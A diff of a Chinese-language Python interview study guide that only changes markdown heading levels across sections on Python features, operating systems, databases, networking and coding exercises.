1. [http://stackoverflow.com/questions/136097/what-is-the-difference-between-staticmethod-and-classmethod-in-python](http://stackoverflow.com/questions/136097/what-is-the-difference-between-staticmethod-and-classmethod-in-python)
2. [https://realpython.com/blog/python/instance-class-and-static-methods-demystified/](https://realpython.com/blog/python/instance-class-and-static-methods-demystified/)
-## 4 类变量和实例变量
+### 4 类变量和实例变量
**类变量:**
@@ -167,7 +167,7 @@ print Person.name # [1]
参考:[http://stackoverflow.com/questions/6470428/catch-multiple-exceptions-in-one-line-except-block](http://stackoverflow.com/questions/6470428/catch-multiple-exceptions-in-one-line-except-block)
-## 5 Python自省
+### 5 Python自省
这个也是python彪悍的特性.
@@ -181,7 +181,7 @@ print type(a),type(b),type(c) # <type 'list'> <type 'dict'> <type
print isinstance(a,list) # True
```
-## 6 字典推导式
+### 6 字典推导式
可能你见过列表推导时,却没有见过字典推导式,在2.7中才加入的:
@@ -189,7 +189,7 @@ print isinstance(a,list) # True
d = {key: value for (key, value) in iterable}
```
-## 7 Python中单下划线和双下划线
+### 7 Python中单下划线和双下划线
```
>>> class MyClass():
@@ -218,7 +218,7 @@ AttributeError: myClass instance has no attribute '__superprivate'
或者: [http://www.zhihu.com/question/19754941](http://www.zhihu.com/question/19754941)
-## 8 字符串格式化:%和.format
+### 8 字符串格式化:%和.format
.format在许多方面看起来更便利.对于`%`最烦人的是它无法同时传递一个变量和元组.你可能会想下面的代码不会有什么问题:
@@ -238,7 +238,7 @@ AttributeError: myClass instance has no attribute '__superprivate'
[http://stackoverflow.com/questions/5082452/python-string-formatting-vs-format](http://stackoverflow.com/questions/5082452/python-string-formatting-vs-format)
-## 9 迭代器和生成器
+### 9 迭代器和生成器
这个是stackoverflow里python排名第一的问题,值得一看: [http://stackoverflow.com/questions/231767/what-does-the-yield-keyword-do-in-python](http://stackoverflow.com/questions/231767/what-does-the-yield-keyword-do-in-python)
@@ -257,7 +257,7 @@ AttributeError: myClass instance has no attribute '__superprivate'
通过列表生成式,可以直接创建一个列表。但是,受到内存限制,列表容量肯定是有限的。而且,创建一个包含百万元素的列表,不仅是占用很大的内存空间,如:我们只需要访问前面的几个元素,后面大部分元素所占的空间都是浪费的。因此,没有必要创建完整的列表(节省大量内存空间)。在Python中,我们可以采用生成器:边循环,边计算的机制—>generator
-## 10 `*args` and `**kwargs`
+### 10 `*args` and `**kwargs`
用`*args`和`**kwargs`只是为了方便并没有强制使用它们.
@@ -310,7 +310,7 @@ a = aardvark, b = baboon, c = cat
[http://stackoverflow.com/questions/3394835/args-and-kwargs](http://stackoverflow.com/questions/3394835/args-and-kwargs)
-## 11 面向切面编程AOP和装饰器
+### 11 面向切面编程AOP和装饰器
这个AOP一听起来有点懵,同学面阿里的时候就被问懵了…
@@ -320,7 +320,7 @@ a = aardvark, b = baboon, c = cat
中文: [http://taizilongxu.gitbooks.io/stackoverflow-about-python/content/3/README.html](http://taizilongxu.gitbooks.io/stackoverflow-about-python/content/3/README.html)
-## 12 鸭子类型
+### 12 鸭子类型
“当看到一只鸟走起来像鸭子、游泳起来像鸭子、叫起来也像鸭子,那么这只鸟就可以被称为鸭子。”
@@ -332,7 +332,7 @@ a = aardvark, b = baboon, c = cat
鸭子类型在动态语言中经常使用,非常灵活,使得python不想java那样专门去弄一大堆的设计模式。
-## 13 Python中重载
+### 13 Python中重载
引自知乎:[http://www.zhihu.com/question/20053359](http://www.zhihu.com/question/20053359)
@@ -346,7 +346,7 @@ a = aardvark, b = baboon, c = cat
好了,鉴于情况 1 跟 情况 2 都有了解决方案,python 自然就不需要函数重载了。
-## 14 新式类和旧式类
+### 14 新式类和旧式类
这个面试官问了,我说了老半天,不知道他问的真正意图是什么.
@@ -377,7 +377,7 @@ d.foo1()
**按照经典类的查找顺序`从左到右深度优先`的规则,在访问`d.foo1()`的时候,D这个类是没有的..那么往上查找,先找到B,里面没有,深度优先,访问A,找到了foo1(),所以这时候调用的是A的foo1(),从而导致C重写的foo1()被绕过**
-## 15 `__new__`和`__init__`的区别
+### 15 `__new__`和`__init__`的区别
这个`__new__`确实很少见到,先做了解吧.
1. `__new__`是一个静态方法,而`__init__`是一个实例方法.1. `__new__`方法会返回一个创建的实例,而`__init__`什么都不返回.1. 只有在`__new__`返回一个cls的实例时后面的`__init__`才能被调用.1. 当创建一个新实例时调用`__new__`,初始化一个实例时用`__init__`.
@@ -385,14 +385,14 @@ d.foo1()
ps: `__metaclass__`是创建类时起作用.所以我们可以分别使用`__metaclass__`,`__new__`和`__init__`来分别在类创建,实例创建和实例初始化的时候做一些小手脚.
-## 16 单例模式
+### 16 单例模式
>
单例模式是一种常用的软件设计模式。在它的核心结构中只包含一个被称为单例类的特殊类。通过单例模式可以保证系统中一个类只有一个实例而且该实例易于外界访问,从而方便对实例个数的控制并节约系统资源。如果希望在系统中某个类的对象只能存在一个,单例模式是最好的解决方案。
`__new__()`在`__init__()`之前被调用,用于生成实例对象。利用这个方法和类的属性的特点可以实现设计模式的单例模式。单例模式是指创建唯一对象,单例模式设计的类只能实例
**这个绝对常考啊.绝对要记住1~2个方法,当时面试官是让手写的.**
-### 1 使用`__new__`方法
+#### 1 使用`__new__`方法
```
class Singleton(object):
@@ -406,7 +406,7 @@ class MyClass(Singleton):
a = 1
```
-### 2 共享属性
+#### 2 共享属性
创建实例时把所有实例的`__dict__`指向同一个字典,这样它们具有相同的属性和方法.
@@ -423,7 +423,7 @@ class MyClass2(Borg):
a = 1
```
-### 3 装饰器版本
+#### 3 装饰器版本
```
def singleton(cls):
@@ -439,7 +439,7 @@ class MyClass:
...
```
-### 4 import方法
+#### 4 import方法
作为python的模块是天然的单例模式
@@ -460,7 +460,7 @@ my_singleton.foo()
**[单例模式伯乐在线详细解释](http://python.jobbole.com/87294/)**
-## 17 Python中的作用域
+### 17 Python中的作用域
Python 中,一个变量的作用域总是由在代码中被赋值的地方所决定的。
@@ -468,7 +468,7 @@ Python 中,一个变量的作用域总是由在代码中被赋值的地方所
本地作用域(Local)→当前作用域被嵌入的本地作用域(Enclosing locals)→全局/模块作用域(Global)→内置作用域(Built-in)
-## 18 GIL线程全局锁
+### 18 GIL线程全局锁
线程全局锁(Global Interpreter Lock),即Python为了保证线程安全而采取的独立线程运行的限制,说白了就是一个核只能在同一时间运行一个线程.**对于io密集型任务,python的多线程起到作用,但对于cpu密集型任务,python的多线程几乎占不到任何优势,还有可能因为争夺资源而变慢。**
@@ -476,7 +476,7 @@ Python 中,一个变量的作用域总是由在代码中被赋值的地方所
解决办法就是多进程和下面的协程(协程也只是单CPU,但是能减小切换代价提升性能).
-## 19 协程
+### 19 协程
知乎被问到了,呵呵哒,跪了
@@ -484,7 +484,7 @@ Python 中,一个变量的作用域总是由在代码中被赋值的地方所
Python里最常见的yield就是协程的思想!可以查看第九个问题.
-## 20 闭包
+### 20 闭包
闭包(closure)是函数式编程的重要的语法结构。闭包也是一种组织代码的结构,它同样提高了代码的可重复使用性。
@@ -496,13 +496,13 @@ Python里最常见的yield就是协程的思想!可以查看第九个问题.
闭包就像个空心球一样,你知道外面和里面,但你不知道中间是什么样.
-## 21 lambda函数
+### 21 lambda函数
其实就是一个匿名函数,为什么叫lambda?因为和后面的函数式编程有关.
推荐: [知乎](http://www.zhihu.com/question/20125256)
-## 22 Python函数式编程
+### 22 Python函数式编程
这个需要适当的了解一下吧,毕竟函数式编程在Python中也做了引用.
@@ -534,7 +534,7 @@ reduce函数是对一个序列的每个项迭代调用函数,下面是求3的
6
```
-## 23 Python里的拷贝
+### 23 Python里的拷贝
引用和copy(),deepcopy()的区别
@@ -561,11 +561,11 @@ c = [1, 2, 3, 4, ['a', 'b', 'c']]
d = [1, 2, 3, 4, ['a', 'b']]
```
-## 24 Python垃圾回收机制
+### 24 Python垃圾回收机制
Python GC主要使用引用计数(reference counting)来跟踪和回收垃圾。在引用计数的基础上,通过“标记-清除”(mark and sweep)解决容器对象可能产生的循环引用问题,通过“分代回收”(generation collection)以空间换时间的方法提高垃圾回收效率。
-### 1 引用计数
+#### 1 引用计数
PyObject是每个对象必有的内容,其中`ob_refcnt`就是做为引用计数。当一个对象有新的引用时,它的`ob_refcnt`就会增加,当引用它的对象被删除,它的`ob_refcnt`就会减少.引用计数为0时,该对象生命就结束了。
@@ -573,11 +573,11 @@ PyObject是每个对象必有的内容,其中`ob_refcnt`就是做为引用计
1. 简单1. 实时性
缺点:
1. 维护引用计数消耗资源1. 循环引用
-### 2 标记-清除机制
+#### 2 标记-清除机制
基本思路是先按需分配,等到没有空闲内存的时候从寄存器和程序栈上的引用出发,遍历以对象为节点、以引用为边构成的图,把所有可以访问到的对象打上标记,然后清扫一遍内存空间,把所有没标记的对象释放。
-### 3 分代技术
+#### 3 分代技术
分代回收的整体思想是:将系统中的所有内存块根据其存活时间划分为不同的集合,每个集合就成为一个“代”,垃圾收集频率随着“代”的存活时间的增大而减小,存活时间通常利用经过几次垃圾回收来度量。
@@ -585,21 +585,21 @@ Python默认定义了三代对象集合,索引数越大,对象存活时间
举例:
当某些内存块M经过了3次垃圾收集的清洗之后还存活时,我们就将内存块M划到一个集合A中去,而新分配的内存都划分到集合B中去。当垃圾收集开始工作时,大多数情况都只对集合B进行垃圾回收,而对集合A进行垃圾回收要隔相当长一段时间后才进行,这就使得垃圾收集机制需要处理的内存少了,效率自然就提高了。在这个过程中,集合B中的某些内存块由于存活时间长而会被转移到集合A中,当然,集合A中实际上也存在一些垃圾,这些垃圾的回收会因为这种分代的机制而被延迟。
-## 25 Python的List
+### 25 Python的List
推荐: [http://www.jianshu.com/p/J4U6rR](http://www.jianshu.com/p/J4U6rR)
-## 26 Python的is
+### 26 Python的is
is是对比地址,==是对比值
-## 27 read,readline和readlines
+### 27 read,readline和readlines
-## 28 Python2和3的区别
+### 28 Python2和3的区别
推荐:[Python 2.7.x 与 Python 3.x 的主要差异](http://chenqx.github.io/2014/11/10/Key-differences-between-Python-2-7-x-and-Python-3-x/)
-## 29 super init
+### 29 super init
super() lets you avoid referring to the base class explicitly, which can be nice. But the main advantage comes with multiple inheritance, where all sorts of fun stuff can happen. See the standard docs on super if you haven’t already.
@@ -609,15 +609,15 @@ Note that the syntax changed in Python 3.0: you can just say super().`__init__`(
[Python2.7中的super方法浅见](http://blog.csdn.net/mrlevo520/article/details/51712440)
-## 30 range and xrange
+### 30 range and xrange
都在循环时使用,xrange内存性能更好。
for i in range(0, 20):
for i in xrange(0, 20):
What is the difference between range and xrange functions in Python 2.X?
range creates a list, so if you do range(1, 10000000) it creates a list in memory with 9999999 elements.
xrange is a sequence object that evaluates lazily.
[http://stackoverflow.com/questions/94935/what-is-the-difference-between-range-and-xrange-functions-in-python-2-x](http://stackoverflow.com/questions/94935/what-is-the-difference-between-range-and-xrange-functions-in-python-2-x)
-# 操作系统
+## 操作系统
-## 1 select,poll和epoll
+### 1 select,poll和epoll
其实所有的I/O都是轮询的方法,只不过实现的层面不同罢了.
@@ -633,13 +633,13 @@ epoll改了三个缺点.
关于epoll的: [http://www.cnblogs.com/my_life/articles/3968782.html](http://www.cnblogs.com/my_life/articles/3968782.html)
-## 2 调度算法
+### 2 调度算法
1. 先来先服务(FCFS, First Come First Serve)1. 短作业优先(SJF, Shortest Job First)1. 最高优先权调度(Priority Scheduling)1. 时间片轮转(RR, Round Robin)1. 多级反馈队列调度(multilevel feedback queue scheduling)
常见的调度算法总结:[http://www.jianshu.com/p/6edf8174c1eb](http://www.jianshu.com/p/6edf8174c1eb)
实时调度算法:
1. 最早截至时间优先 EDF1. 最低松弛度优先 LLF
-## 3 死锁
+### 3 死锁
原因:
1. 竞争资源1. 程序推进顺序不当
@@ -650,7 +650,7 @@ epoll改了三个缺点.
1. 剥夺资源1. 撤销进程
死锁概念处理策略详细介绍:[https://wizardforcel.gitbooks.io/wangdaokaoyan-os/content/10.html](https://wizardforcel.gitbooks.io/wangdaokaoyan-os/content/10.html)
-## 4 程序编译与链接
+### 4 程序编译与链接
推荐: [http://www.ruanyifeng.com/blog/2014/11/compiler.html](http://www.ruanyifeng.com/blog/2014/11/compiler.html)
@@ -658,53 +658,53 @@ Bulid过程可以分解为4个步骤:预处理(Prepressing), 编译(Compilation)
以c语言为例:
-### 1 预处理
+#### 1 预处理
预编译过程主要处理那些源文件中的以“#”开始的预编译指令,主要处理规则有:
1. 将所有的“#define”删除,并展开所用的宏定义1. 处理所有条件预编译指令,比如“#if”、“#ifdef”、 “#elif”、“#endif”1. 处理“#include”预编译指令,将被包含的文件插入到该编译指令的位置,注:此过程是递归进行的1. 删除所有注释1. 添加行号和文件名标识,以便于编译时编译器产生调试用的行号信息以及用于编译时产生编译错误或警告时可显示行号1. 保留所有的#pragma编译器指令。
-### 2 编译
+#### 2 编译
编译过程就是把预处理完的文件进行一系列的词法分析、语法分析、语义分析及优化后生成相应的汇编代码文件。这个过程是整个程序构建的核心部分。
-### 3 汇编
+#### 3 汇编
汇编器是将汇编代码转化成机器可以执行的指令,每一条汇编语句几乎都是一条机器指令。经过编译、链接、汇编输出的文件成为目标文件(Object File)
-### 4 链接
+#### 4 链接
链接的主要内容就是把各个模块之间相互引用的部分处理好,使各个模块可以正确的拼接。
链接的主要过程包块 地址和空间的分配(Address and Storage Allocation)、符号决议(Symbol Resolution)和重定位(Relocation)等步骤。
-## 5 静态链接和动态链接
+### 5 静态链接和动态链接
静态链接方法:静态链接的时候,载入代码就会把程序会用到的动态代码或动态代码的地址确定下来
静态库的链接可以使用静态链接,动态链接库也可以使用这种方法链接导入库
动态链接方法:使用这种方式的程序并不在一开始就完成动态链接,而是直到真正调用动态库代码时,载入程序才计算(被调用的那部分)动态代码的逻辑地址,然后等到某个时候,程序又需要调用另外某块动态代码时,载入程序又去计算这部分代码的逻辑地址,所以,这种方式使程序初始化时间较短,但运行期间的性能比不上静态链接的程序
-## 6 虚拟内存技术
+### 6 虚拟内存技术
虚拟存储器是指具有请求调入功能和置换功能,能从逻辑上对内存容量加以扩充的一种存储系统.
-## 7 分页和分段
+### 7 分页和分段
分页: 用户程序的地址空间被划分成若干固定大小的区域,称为“页”,相应地,内存空间分成若干个物理块,页和块的大小相等。可将用户程序的任一页放在内存的任一块中,实现了离散分配。
分段: 将用户程序地址空间分成若干个大小不等的段,每段可以定义一组相对完整的逻辑信息。存储分配时,以段为单位,段与段在内存中可以不相邻接,也实现了离散分配。
-### 分页与分段的主要区别
+#### 分页与分段的主要区别
1. 页是信息的物理单位,分页是为了实现非连续分配,以便解决内存碎片问题,或者说分页是由于系统管理的需要.段是信息的逻辑单位,它含有一组意义相对完整的信息,分段的目的是为了更好地实现共享,满足用户的需要.1. 页的大小固定,由系统确定,将逻辑地址划分为页号和页内地址是由机器硬件实现的.而段的长度却不固定,决定于用户所编写的程序,通常由编译程序在对源程序进行编译时根据信息的性质来划分.1. 分页的作业地址空间是一维的.分段的地址空间是二维的.
-## 8 页面置换算法
+### 8 页面置换算法
1. 最佳置换算法OPT:不可能实现1. 先进先出FIFO1. 最近最久未使用算法LRU:最近一段时间里最久没有使用过的页面予以置换.1. clock算法
-## 9 边沿触发和水平触发
+### 9 边沿触发和水平触发
边缘触发是指每当状态变化时发生一个 io 事件,条件触发是只要满足条件就发生一个 io 事件
-# 数据库
+## 数据库
-## 1 事务
+### 1 事务
数据库事务(Database Transaction) ,是指作为单个逻辑工作单元执行的一系列操作,要么完全地执行,要么完全地不执行。
彻底理解数据库事务: [http://www.hollischuang.com/archives/898](http://www.hollischuang.com/archives/898)
-## 2 数据库索引
+### 2 数据库索引
推荐: [http://tech.meituan.com/mysql-index.html](http://tech.meituan.com/mysql-index.html)
@@ -712,19 +712,19 @@ Bulid过程可以分解为4个步骤:预处理(Prepressing), 编译(Compilation)
聚集索引,非聚集索引,B-Tree,B+Tree,最左前缀原理
-## 3 Redis原理
+### 3 Redis原理
-### Redis是什么?
+#### Redis是什么?
1. 是一个完全开源免费的key-value内存数据库 1. 通常被认为是一个数据结构服务器,主要是因为其有着丰富的数据结构 strings、map、 list、sets、 sorted sets
-### Redis数据库
+#### Redis数据库
>
通常局限点来说,Redis也以消息队列的形式存在,作为内嵌的List存在,满足实时的高并发需求。在使用缓存的时候,redis比memcached具有更多的优势,并且支持更多的数据类型,把redis当作一个中间存储系统,用来处理高并发的数据库操作
-### Redis缺点
+#### Redis缺点
-## 4 乐观锁和悲观锁
+### 4 乐观锁和悲观锁
悲观锁:假定会发生并发冲突,屏蔽一切可能违反数据完整性的操作
@@ -732,13 +732,13 @@ Bulid过程可以分解为4个步骤:预处理(Prepressing), 编译(Compilation)
乐观锁与悲观锁的具体区别: [http://www.cnblogs.com/Bob-FD/p/3352216.html](http://www.cnblogs.com/Bob-FD/p/3352216.html)
-## 5 MVCC
+### 5 MVCC
>
全称是Multi-Version Concurrent Control,即多版本并发控制,在MVCC协议下,每个读操作会看到一个一致性的snapshot,并且可以实现非阻塞的读。MVCC允许数据具有多个版本,这个版本可以是时间戳或者是全局递增的事务ID,在同一个时间点,不同的事务看到的数据是不同的。
-### [MySQL](http://lib.csdn.net/base/mysql)的innodb引擎是如何实现MVCC的
+#### [MySQL](http://lib.csdn.net/base/mysql)的innodb引擎是如何实现MVCC的
innodb会为每一行添加两个字段,分别表示该行**创建的版本**和**删除的版本**,填入的是事务的版本号,这个版本号随着事务的创建不断递增。在repeated read的隔离级别([事务的隔离级别请看这篇文章](http://blog.csdn.net/chosen0ne/article/details/10036775))下,具体各种数据库操作的实现:
@@ -752,7 +752,7 @@ innodb会为每一行添加两个字段,分别表示该行**创建的版本**
参考:[MVCC浅析](http://blog.csdn.net/chosen0ne/article/details/18093187)
-## 6 MyISAM和InnoDB
+### 6 MyISAM和InnoDB
MyISAM 适合于一些需要大量查询的应用,但其对于有大量写操作并不是很好。甚至你只是需要update一个字段,整个表都会被锁起来,而别的进程,就算是读进程都无法操作直到读操作完成。另外,MyISAM 对于 SELECT COUNT(*) 这类的计算是超快无比的。
@@ -760,31 +760,31 @@ InnoDB 的趋势会是一个非常复杂的存储引擎,对于一些小的应
mysql 数据库引擎: [http://www.cnblogs.com/0201zcr/p/5296843.html](http://www.cnblogs.com/0201zcr/p/5296843.html)
MySQL存储引擎--MyISAM与InnoDB区别: [https://segmentfault.com/a/1190000008227211](https://segmentfault.com/a/1190000008227211)
-# 网络
+## 网络
-## 1 三次握手
+### 1 三次握手
1. 客户端通过向服务器端发送一个SYN来创建一个主动打开,作为三次握手的一部分。客户端把这段连接的序号设定为随机数 A。1. 服务器端应当为一个合法的SYN回送一个SYN/ACK。ACK 的确认码应为 A+1,SYN/ACK 包本身又有一个随机序号 B。1. 最后,客户端再发送一个ACK。当服务端受到这个ACK的时候,就完成了三路握手,并进入了连接创建状态。此时包序号被设定为收到的确认号 A+1,而响应则为 B+1。
-## 2 四次挥手
+### 2 四次挥手
**注意: 中断连接端可以是客户端,也可以是服务器端. 下面仅以客户端断开连接举例, 反之亦然.**
1. 客户端发送一个数据分段, 其中的 FIN 标记设置为1. 客户端进入 FIN-WAIT 状态. 该状态下客户端只接收数据, 不再发送数据.1. 服务器接收到带有 FIN = 1 的数据分段, 发送带有 ACK = 1 的剩余数据分段, 确认收到客户端发来的 FIN 信息.1. 服务器等到所有数据传输结束, 向客户端发送一个带有 FIN = 1 的数据分段, 并进入 CLOSE-WAIT 状态, 等待客户端发来带有 ACK = 1 的确认报文.1. 客户端收到服务器发来带有 FIN = 1 的报文, 返回 ACK = 1 的报文确认, 为了防止服务器端未收到需要重发, 进入 TIME-WAIT 状态. 服务器接收到报文后关闭连接. 客户端等待 2MSL 后未收到回复, 则认为服务器成功关闭, 客户端关闭连接.
图解: [http://blog.csdn.net/whuslei/article/details/6667471](http://blog.csdn.net/whuslei/article/details/6667471)
-## 3 ARP协议
+### 3 ARP协议
地址解析协议(Address Resolution Protocol),其基本功能为透过目标设备的IP地址,查询目标的MAC地址,以保证通信的顺利进行。它是IPv4网络层必不可少的协议,不过在IPv6中已不再适用,并被邻居发现协议(NDP)所替代。
-## 4 urllib和urllib2的区别
+### 4 urllib和urllib2的区别
这个面试官确实问过,当时答的urllib2可以Post而urllib不可以.
1. urllib提供urlencode方法用来GET查询字符串的产生,而urllib2没有。这是为何urllib常和urllib2一起使用的原因。1. urllib2可以接受一个Request类的实例来设置URL请求的headers,urllib仅可以接受URL。这意味着,你不可以伪装你的User Agent字符串等。
-## 5 Post和Get
+### 5 Post和Get
[GET和POST有什么区别?及为什么网上的多数答案都是错的](http://www.cnblogs.com/nankezhishi/archive/2012/06/09/getandpost.html)
[知乎回答](https://www.zhihu.com/question/31640769?rf=37401322)
get: [RFC 2616 - Hypertext Transfer Protocol – HTTP/1.1](http://tools.ietf.org/html/rfc2616#section-9.3)
post: [RFC 2616 - Hypertext Transfer Protocol – HTTP/1.1](http://tools.ietf.org/html/rfc2616#section-9.5)
-## 6 Cookie和Session
+### 6 Cookie和Session
Cookie Session
|------
@@ -794,15 +794,15 @@ get: [RFC 2616 - Hypertext Transfer Protocol – HTTP/1.1](http://tools.ietf.org
session技术是要使用到cookie的,之所以出现session技术,主要是为了安全。
-## 7 apache和nginx的区别
+### 7 apache和nginx的区别
nginx 相对 apache 的优点:
* 轻量级,同样起web 服务,比apache 占用更少的内存及资源
* 抗并发,nginx 处理请求是异步非阻塞的,支持更多的并发连接,而apache 则是阻塞型的,在高并发下nginx 能保持低资源低消耗高性能
* 配置简洁
* 高度模块化的设计,编写模块相对简单
* 社区活跃
apache 相对nginx 的优点:
* rewrite ,比nginx 的rewrite 强大
* 模块超多,基本想到的都可以找到
* 少bug ,nginx 的bug 相对较多
* 超稳定
-## 8 网站用户密码保存
+### 8 网站用户密码保存
1. 明文保存1. 明文hash后保存,如md51. MD5+Salt方式,这个salt可以随机1. 知乎使用了Bcrypy(好像)加密
-## 9 HTTP和HTTPS
+### 9 HTTP和HTTPS
状态码 定义
|------
@@ -816,11 +816,11 @@ apache 相对nginx 的优点:
* rewrite ,比nginx 的rewrite 强大 CGI程序是一个独立的程序,它可以用几乎所有语言来写,包括perl,c,lua,python等等。
@@ -856,29 +856,29 @@ WSGI, Web Server Gateway Interface,是Python应用程序或框架和Web服务
官方说明:[PEP-3333](https://www.python.org/dev/peps/pep-3333/)
-## 16 中间人攻击
+### 16 中间人攻击
在GFW里屡见不鲜的,呵呵.
中间人攻击(Man-in-the-middle attack,通常缩写为MITM)是指攻击者与通讯的两端分别创建独立的联系,并交换其所收到的数据,使通讯的两端认为他们正在通过一个私密的连接与对方直接对话,但事实上整个会话都被攻击者完全控制。
-## 17 c10k问题
+### 17 c10k问题
所谓c10k问题,指的是服务器同时支持成千上万个客户端的问题,也就是concurrent 10 000 connection(这也是c10k这个名字的由来)。
推荐: [https://my.oschina.net/xianggao/blog/664275](https://my.oschina.net/xianggao/blog/664275)
-## 18 socket
+### 18 socket
推荐: [http://www.360doc.com/content/11/0609/15/5482098_122692444.shtml](http://www.360doc.com/content/11/0609/15/5482098_122692444.shtml)
Socket=Ip address+ TCP/UDP + port
-## 19 浏览器缓存
+### 19 浏览器缓存
推荐: [http://www.cnblogs.com/skynet/archive/2012/11/28/2792503.html](http://www.cnblogs.com/skynet/archive/2012/11/28/2792503.html)
304 Not Modified
-## 20 HTTP1.0和HTTP1.1
+### 20 HTTP1.0和HTTP1.1
推荐: [http://blog.csdn.net/elifefly/article/details/3964766](http://blog.csdn.net/elifefly/article/details/3964766)
1. 请求头Host字段,一个服务器多个网站1. 长链接1. 文件断点续传1. 身份认证,状态管理,Cache缓存
@@ -928,17 +928,17 @@ PATCH方法出现的较晚,它在2010年的RFC 5789标准中被定义。PATCH
但PATCH一般用于资源的部分更新,而PUT一般用于资源的整体更新。
当资源不存在时,PATCH会创建一个新的资源,而PUT只会对已在资源进行更新。
-## 21 Ajax
+### 21 Ajax
AJAX,Asynchronous JavaScript and XML(异步的 JavaScript 和 XML), 是与在不重新加载整个页面的情况下,与服务器交换数据并更新部分网页的技术。
-# *NIX
+## *NIX
-## unix进程间通信方式(IPC)
+### unix进程间通信方式(IPC)
1. 管道(Pipe):管道可用于具有亲缘关系进程间的通信,允许一个进程和另一个与它有共同祖先的进程之间进行通信。1. 命名管道(named pipe):命名管道克服了管道没有名字的限制,因此,除具有管道所具有的功能外,它还允许无亲缘关系进程间的通信。命名管道在文件系统中有对应的文件名。命名管道通过命令mkfifo或系统调用mkfifo来创建。1. 信号(Signal):信号是比较复杂的通信方式,用于通知接受进程有某种事件发生,除了用于进程间通信外,进程还可以发送信号给进程本身;linux除了支持Unix早期信号语义函数sigal外,还支持语义符合Posix.1标准的信号函数sigaction(实际上,该函数是基于BSD的,BSD为了实现可靠信号机制,又能够统一对外接口,用sigaction函数重新实现了signal函数)。1. 消息(Message)队列:消息队列是消息的链接表,包括Posix消息队列system V消息队列。有足够权限的进程可以向队列中添加消息,被赋予读权限的进程则可以读走队列中的消息。消息队列克服了信号承载信息量少,管道只能承载无格式字节流以及缓冲区大小受限等缺1. 共享内存:使得多个进程可以访问同一块内存空间,是最快的可用IPC形式。是针对其他通信机制运行效率较低而设计的。往往与其它通信机制,如信号量结合使用,来达到进程间的同步及互斥。1. 内存映射(mapped memory):内存映射允许任何多个进程间通信,每一个使用该机制的进程通过把一个共享的文件映射到自己的进程地址空间来实现它。1. 信号量(semaphore):主要作为进程间以及同一进程不同线程之间的同步手段。1. 套接口(Socket):更为一般的进程间通信机制,可用于不同机器之间的进程间通信。起初是由Unix系统的BSD分支开发出来的,但现在一般可以移植到其它类Unix系统上:Linux和System V的变种都支持套接字。
-# 数据结构
+## 数据结构
-## 1 红黑树
+### 1 红黑树
红黑树与AVL的比较:
@@ -952,9 +952,9 @@ AVL是严格平衡树,因此在增加或者删除节点的时候,根据不
教你透彻了解红黑树: [https://github.com/julycoding/The-Art-Of-Programming-By-July/blob/master/ebook/zh/03.01.md](https://github.com/julycoding/The-Art-Of-Programming-By-July/blob/master/ebook/zh/03.01.md)
-# 编程题
+## 编程题
-## 1 台阶问题/斐波那契
+### 1 台阶问题/斐波那契
一只青蛙一次可以跳上1级台阶,也可以跳上2级。求该青蛙跳上一个n级的台阶总共有多少种跳法。
@@ -991,7 +991,7 @@ def fib(n):
return b
```
-## 2 变态台阶问题
+### 2 变态台阶问题
一只青蛙一次可以跳上1级台阶,也可以跳上2级……它也可以跳上n级。求该青蛙跳上一个n级的台阶总共有多少种跳法。
@@ -999,7 +999,7 @@ def fib(n):
fib = lambda n: n if n < 2 else 2 * fib(n - 1)
```
-## 3 矩形覆盖
+### 3 矩形覆盖
我们可以用`2*1`的小矩形横着或者竖着去覆盖更大的矩形。请问用n个`2*1`的小矩形无重叠地覆盖一个`2*n`的大矩形,总共有多少种方法?
@@ -1011,7 +1011,7 @@ fib = lambda n: n if n < 2 else 2 * fib(n - 1)
f = lambda n: 1 if n < 2 else f(n - 1) + f(n - 2)
```
-## 4 杨氏矩阵查找
+### 4 杨氏矩阵查找
在一个m行n列二维数组中,每一行都按照从左到右递增的顺序排序,每一列都按照从上到下递增的顺序排序。请完成一个函数,输入这样的一个二维数组和一个整数,判断数组中是否含有该整数。
@@ -1037,7 +1037,7 @@ def find(l, x):
return False
```
-## 5 去除列表中的重复元素
+### 5 去除列表中的重复元素
用集合
@@ -1074,7 +1074,7 @@ sorted排序并且用列表推导式.
l = [‘b’,’c’,’d’,’b’,’c’,’a’,’a’]
[single.append(i) for i in sorted(l) if i not in single]
print single
-## 6 链表成对调换
+### 6 链表成对调换
`1->2->3->4`转换成`2->1->4->3`.
@@ -1096,15 +1096,15 @@ class Solution:
return head
```
-## 7 创建字典的方法
+### 7 创建字典的方法
-### 1 直接创建
+#### 1 直接创建
```
dict = {'name':'earth', 'port':'80'}
```
-### 2 工厂方法
+#### 2 工厂方法
```
items=[('name','earth'),('port','80')]
@@ -1112,7 +1112,7 @@ dict2=dict(items)
dict1=dict((['name','earth'],['port','80']))
```
-### 3 fromkeys()方法
+#### 3 fromkeys()方法
```
dict1={}.fromkeys(('x','y'),-1)
@@ -1121,7 +1121,7 @@ dict2={}.fromkeys(('x','y'))
dict2={'x':None, 'y':None}
```
-## 8 合并两个有序列表
+### 8 合并两个有序列表
知乎远程面试要求编程
@@ -1205,7 +1205,7 @@ print merge_sortedlist(a,b)
```
-## 9 交叉链表求交点
+### 9 交叉链表求交点
>
其实思想可以按照从尾开始比较两个链表,如果相交,则从尾开始必然一致,只要从尾开始比较,直至不一致的地方即为交叉点,如图所示
@@ -1298,7 +1298,7 @@ def node(l1, l2):
思路: [http://humaoli.blog.163.com/blog/static/13346651820141125102125995/](http://humaoli.blog.163.com/blog/static/13346651820141125102125995/)
-## 10 二分查找
+### 10 二分查找
```
@@ -1323,7 +1323,7 @@ print binary_search(mylist,3)
参考: [http://blog.csdn.net/u013205877/article/details/76411718](http://blog.csdn.net/u013205877/article/details/76411718)
-## 11 快排
+### 11 快排
```
#coding:utf-8
@@ -1344,7 +1344,7 @@ print quicksort([2,4,6,7,1,2,5])
更多排序问题可见:[数据结构与算法-排序篇-Python描述](http://blog.csdn.net/mrlevo520/article/details/77829204)
-## 12 找零问题
+### 12 找零问题
```
@@ -1373,11 +1373,11 @@ def coinChange(values,valuesCounts,money,coinsUsed):
方法: [http://www.cnblogs.com/ChenxofHit/archive/2011/03/18/1988431.html](http://www.cnblogs.com/ChenxofHit/archive/2011/03/18/1988431.html)
-## 13 广度遍历和深度遍历二叉树
+### 13 广度遍历和深度遍历二叉树
给定一个数组,构建二叉树,并且按层次打印这个二叉树
-## 14 二叉树节点
+### 14 二叉树节点
```
@@ -1391,7 +1391,7 @@ tree = Node(1, Node(3, Node(7, Node(0)), Node(6)), Node(2, Node(5), Node(4)))
```
-## 15 层次遍历
+### 15 层次遍历
```
@@ -1403,7 +1403,7 @@ def lookup(root):
